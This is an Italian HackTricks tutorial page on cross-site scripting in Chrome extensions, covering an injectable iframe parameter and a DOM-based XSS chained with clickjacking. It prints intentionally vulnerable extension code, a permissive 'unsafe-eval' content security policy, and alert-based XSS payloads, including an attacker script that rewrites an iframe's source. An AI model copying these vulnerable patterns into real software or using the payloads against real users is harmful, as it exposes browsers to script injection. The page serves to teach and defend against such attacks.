7.5 KiB
BrowExt - Esempio di XSS
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai repository github di HackTricks e HackTricks Cloud.
Cross-Site Scripting (XSS) tramite Iframe
In questa configurazione, uno script di contenuto viene implementato per istanziare un Iframe, incorporando un URL con parametri di query come origine dell'Iframe:
chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});
Una pagina HTML accessibile pubblicamente, message.html
, è progettata per aggiungere dinamicamente contenuto al corpo del documento in base ai parametri presenti nell'URL:
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});
Un script maligno viene eseguito su una pagina dell'avversario, modificando il parametro content
della sorgente dell'Iframe per introdurre un payload XSS. Ciò viene ottenuto aggiornando la sorgente dell'Iframe per includere uno script dannoso:
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
document.querySelector("iframe").src = maliciousURL;
}, 1000);
Una Content Security Policy eccessivamente permissiva come:
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
consente l'esecuzione di JavaScript, rendendo il sistema vulnerabile agli attacchi XSS.
Un approccio alternativo per provocare l'XSS consiste nel creare un elemento Iframe e impostare la sua origine per includere lo script dannoso come parametro content
:
let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);
DOM-based XSS + ClickJacking
Questo esempio è stato preso dal post originale scritto da The Hacker Blog.
Il problema principale deriva da una vulnerabilità di Cross-site Scripting (XSS) basata sul DOM situata in /html/bookmarks.html
. Lo script JavaScript problematico, parte di bookmarks.js
, è dettagliato di seguito:
$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;
var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});
Questo frammento recupera il valore dal campo di input txtName
e utilizza la concatenazione di stringhe per generare HTML, che viene quindi aggiunto al DOM utilizzando la funzione .append()
di jQuery.
Di solito, la Content Security Policy (CSP) dell'estensione di Chrome impedirebbe tali vulnerabilità. Tuttavia, a causa del rilassamento della CSP con 'unsafe-eval' e dell'uso dei metodi di manipolazione del DOM di jQuery (che utilizzano globalEval()
per passare script a eval()
durante l'inserimento nel DOM), l'exploit è comunque possibile.
Sebbene questa vulnerabilità sia significativa, la sua sfruttabilità dipende solitamente dall'interazione dell'utente: visitare la pagina, inserire un payload XSS e attivare il pulsante "Aggiungi".
Per migliorare questa vulnerabilità, viene sfruttata una secondaria vulnerabilità di clickjacking. Il manifesto dell'estensione di Chrome mostra una politica web_accessible_resources
estesa:
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
In particolare, la pagina /html/bookmarks.html
è vulnerabile al framing, quindi suscettibile a clickjacking. Questa vulnerabilità viene sfruttata per incorniciare la pagina all'interno del sito di un attaccante, sovrapponendola con elementi DOM per ridisegnare l'interfaccia in modo ingannevole. Questa manipolazione porta le vittime a interagire involontariamente con l'estensione sottostante.
Riferimenti
- https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/
- https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF, controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai repository GitHub di HackTricks e HackTricks Cloud.